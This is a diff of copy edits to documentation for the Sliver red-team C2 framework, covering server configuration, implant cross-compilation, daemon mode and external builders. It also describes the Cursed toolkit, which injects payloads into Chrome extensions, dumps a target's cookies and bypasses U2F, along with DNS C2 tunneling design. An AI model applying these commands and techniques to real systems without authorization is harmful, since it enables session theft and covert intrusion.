@@ -24,15 +24,15 @@ Starting in version 1.0.0 the Sliver server has a configuration file located the
|
||||
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode)
|
||||
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
|
||||
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
|
||||
- `port` - TCP port to bind the `deamon_mode` client listener to.
|
||||
- `logs` - An object containing configure options for server logs
|
||||
- `level` - The `logrus` logging level (1 - 5), default this is set to `4`, which is the`INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||
- `port` - TCP port to bind the `daemon_mode` client listener to.
|
||||
- `logs` - An object containing configuration options for server logs
|
||||
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||
- `grpc_unary_payloads` - Log gRPC unary payloads
|
||||
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
||||
|
||||
## Database Configuration
|
||||
|
||||
Starting in version v1.1.0 Sliver supports SQL database configurations, by default this configuration file is located at `~/.sliver/configs/database.json`:
|
||||
Sliver supports SQL database configurations. By default this configuration file is located at `~/.sliver/configs/database.json`:
|
||||
|
||||
#### Default Database Configuration
|
||||
|
||||
@@ -59,7 +59,7 @@ Starting in version v1.1.0 Sliver supports SQL database configurations, by defau
|
||||
- `password` - Database password.
|
||||
- `host` - Database host.
|
||||
- `port` - Database TCP port.
|
||||
- `params` - Is a key/value string map that can be used to pass dialect specific options to the DSN/connection string. This can be used for example to enable SSL/TLS on certain database connections.
|
||||
- `params` - Is a key/value string map that can be used to pass dialect-specific options to the DSN/connection string. This can be used, for example, to enable SSL/TLS on certain database connections.
|
||||
- `max_idle_conns` - Max idle connections in the database connection pool.
|
||||
- `max_open_conns` - Max open connections in the database connection pool.
|
||||
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
|
||||
|
||||
@@ -1,24 +1,20 @@
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box, you only need cross-compilers when using `--format shared`.
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
|
||||
|
||||
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
||||
|
||||
Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
|
||||
Sliver supports [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
|
||||
|
||||
## From Linux to MacOS/Windows
|
||||
|
||||
To compile Windows shared library and shellcode implants from Linux, install mingw from your local package manager. Note version 1.6 and later embed a zig cross-compiler out of the box and do not need ming-w64 to produce Windows DLLs:
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows shared library and shellcode implants from Linux do not require mingw-w64.
|
||||
|
||||
```
|
||||
sudo apt install mingw-w64
|
||||
```
|
||||
|
||||
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
|
||||
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS-based machine you can use GitHub Actions' MacOS instances to build OSXCross.
|
||||
|
||||
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
|
||||
|
||||
An example deployment is shown below, you have to procure the `MacOSX123.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details). It is recommended to use the llvm-based version (i.e. the `2.0-llvm-based` branch) of osxcross:
|
||||
|
||||
For a MacOS machine, if you don't have one handy I recommend using a MacOS Github Action runner:
|
||||
For a MacOS machine, if you don't have one handy I recommend using a MacOS GitHub Actions runner:
|
||||
|
||||
```shell
|
||||
git clone https://github.com/tpoechtrager/osxcross.git
|
||||
@@ -37,26 +33,13 @@ curl -o ./tarballs/MacOSX123.sdk.tar.xz 'https://example.com/MacOSX123.sdk.tar.x
|
||||
TARGET_DIR=/opt/osxcross ENABLE_ARCHS="arm64 x86_64" ./build.sh
|
||||
```
|
||||
|
||||
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
## From MacOS to Linux/Windows
|
||||
|
||||
Note version 1.6 and later embed a zig cross-compiler out of the box and do not need ming-w64 or musl-cross to produce Windows DLLs and Linux shared objects.
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
|
||||
|
||||
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
|
||||
|
||||
```
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
|
||||
|
||||
```
|
||||
brew install FiloSottile/musl-cross/musl-cross
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
## From Windows to MacOS/Linux
|
||||
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation tool kit introduced in Sliver v1.5.25, which integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome Extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
|
||||
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation toolkit that integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
|
||||
|
||||
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed tool kit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
|
||||
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed toolkit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
|
||||
|
||||
## Cursed Chrome
|
||||
|
||||
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled, you can then use `cursed console` to interact with any debug target.
|
||||
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled; you can then use `cursed console` to interact with any debug target.
|
||||
|
||||
If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome), and inject the payload into the extension's execution context.
|
||||
|
||||
So a typical workflow looks like:
|
||||
|
||||
1. Setup [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
2. Pop Sliver session, or go interactive from a beacon
|
||||
1. Set up [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
2. Pop a Sliver session or go interactive from a beacon
|
||||
3. `cursed chrome --payload background.js`
|
||||
4. Upstream browser to CursedChrome proxy
|
||||
5. Enjoy!
|
||||
@@ -30,7 +30,7 @@ The `cursed console` command can be used to start an interactive REPL with any c
|
||||
|
||||
## Cursed Cookies
|
||||
|
||||
Starting in v1.5.28 the `cursed cookies` command can be used to dump a remote cursed process' cookies to a local file (newline delimited json), for example:
|
||||
The `cursed cookies` command can be used to dump a remote cursed process's cookies to a local file (newline-delimited JSON), for example:
|
||||
|
||||
```
|
||||
[server] sliver (CHRONIC_GOAT) > cursed chrome
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
DNS can be a finicky nuanced protocol, if you're unfamiliar with DNS and related concepts I'd recommending reading up on the protocol and ecosystem a bit before leveraging it for C2.
|
||||
DNS can be a finicky, nuanced protocol. If you're unfamiliar with DNS and related concepts, I'd recommend reading up on the protocol and ecosystem a bit before leveraging it for C2.
|
||||
|
||||
# Setup
|
||||
|
||||
Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you can use any DNS provider you wish as long as you setup the records correctly. I recommend setting a TTL of ~5 minutes for each record.
|
||||
Use the following steps to configure a domain for DNS C2 (and DNS Canaries). You can use any DNS provider you wish as long as you set up the records correctly. I recommend setting a TTL of ~5 minutes for each record.
|
||||
|
||||
1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
|
||||
2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
|
||||
@@ -11,14 +11,14 @@ Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you
|
||||
|
||||
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
|
||||
|
||||
The final configuration should look like for the domain `lil-peep.rip`:
|
||||
The final configuration should look like this for the domain `lil-peep.rip`:
|
||||

|
||||
|
||||
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
|
||||
|
||||
### DNS Listeners
|
||||
|
||||
Make sure you have a DNS listener running, and to use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
|
||||
Make sure you have a DNS listener running, and use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
|
||||
|
||||
```
|
||||
sliver > dns --domains 1.example.com.
|
||||
@@ -29,7 +29,7 @@ sliver > dns --domains 1.example.com.
|
||||
|
||||
### DNS Canaries
|
||||
|
||||
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling which specific file was discovered by the blue team.
|
||||
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling you which specific file was discovered by the blue team.
|
||||
|
||||
Example `generate` command with canaries, make sure to use the FQDN:
|
||||
|
||||
@@ -59,13 +59,13 @@ nameserver 8.8.8.8
|
||||
|
||||
# Under the Hood
|
||||
|
||||
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth.
|
||||
**NOTE:** This describes the current implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption); this is just about how we move bytes back and forth.
|
||||
|
||||
### Design Goals
|
||||
|
||||
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full duplex tunnels, doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected as is often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
|
||||
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full-duplex tunnel; doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected, as often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
|
||||
|
||||
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query it's local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuff data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
|
||||
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query its local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain, eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuffing data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
|
||||
|
||||
```
|
||||
[implant] <--> [resolver]
|
||||
@@ -74,11 +74,11 @@ For example glossing over some details, if a DNS client attempts to `foo.1.examp
|
||||
|<------> [example.com.] (attacker controlled)
|
||||
```
|
||||
|
||||
This allows an implant to establish a connection to an attacker controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small, in fact if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2Mb file then we're gonna have to send _a lot of_ queries, this means that DNS communication is going to be _slow_ (~30Kbps) even at the best of times.
|
||||
This allows an implant to establish a connection to an attacker-controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small; in fact, if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2 MB file then we're going to have to send _a lot of_ queries, which means that DNS communication is going to be _slow_ (~30 Kbps) even at the best of times.
|
||||
|
||||
### Rude DNS Resolvers
|
||||
|
||||
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
|
||||
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need to use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
|
||||
|
||||
### Encoder Selection
|
||||
|
||||
@@ -104,13 +104,13 @@ Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be
|
||||
|
||||
Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
|
||||
|
||||
To workaround this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a x2 size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around x1.6 size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over x1.33 message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
|
||||
To work around this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a 2x size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around 1.6x size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over 1.33x message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
|
||||
|
||||
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fallback to Base32. I call this process "fingerprinting" the resolver.
|
||||
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fall back to Base32. I call this process "fingerprinting" the resolver.
|
||||
|
||||
### Fingerprinting Rude Resolvers
|
||||
|
||||
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g. `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
|
||||
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g., `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
|
||||
|
||||
In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
|
||||
|
||||
@@ -124,7 +124,7 @@ First we calculate how many characters of the total domain can be used to encode
|
||||
254 - len(parent) - (1 + (254-len(parent))/64)
|
||||
```
|
||||
|
||||
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially `n` bytes encoded length must be equal to or less than the subdata space. Its important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
|
||||
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially: the encoded length of `n` bytes must be equal to or less than the subdata space. It's important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
|
||||
|
||||
### Parallel Send/Recv
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
There are two ways to start the server in daemon mode:
|
||||
|
||||
@@ -25,4 +25,4 @@ $ cat ~/.sliver/configs/server.json
|
||||
|
||||
#### systemd
|
||||
|
||||
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
|
||||
With this config you can easily set up a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
|
||||
@@ -1,4 +1,4 @@
|
||||
Starting in v1.5.30 Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g. connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increasing performance (e.g. having a low powered cloud host offload a local PC).
|
||||
Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g., connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increase performance (e.g., having a low-powered cloud host offload a local PC).
|
||||
|
||||
External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
|
||||
|
||||
@@ -84,7 +84,7 @@ Currently external builds do not support DNS canaries.
|
||||
|
||||
You are welcome to customize the implant source code under the terms of Sliver's [GPLv3 license](https://github.com/BishopFox/sliver/blob/master/LICENSE). While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:
|
||||
|
||||
1. Fork the main Sliver Github repository
|
||||
1. Fork the main Sliver GitHub repository
|
||||
1. Make modifications to the source code
|
||||
1. [Compile a Sliver server binary](/docs?name=Compile+from+Source)
|
||||
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
|
||||
|
||||
@@ -1,58 +1 @@
|
||||
This GPG key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
|
||||
|
||||
https://raw.githubusercontent.com/BishopFox/sliver/master/server/assets/fs/sliver.asc
|
||||
|
||||
```
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
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
|
||||
=lxj2
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
```
|
||||
GPG siging is deprecated and should be avoided, use the [Minisign public key](/docs?name=Minisign+Public+Key) to verify binaries.
|
||||
@@ -1,16 +1,16 @@
|
||||
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
|
||||
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
Sliver is designed for a one server deployment per operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
Obfuscated builds require `git` to be installed. Additionally, Sliver has an external dependencies for _optional_ features: Metasploit. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
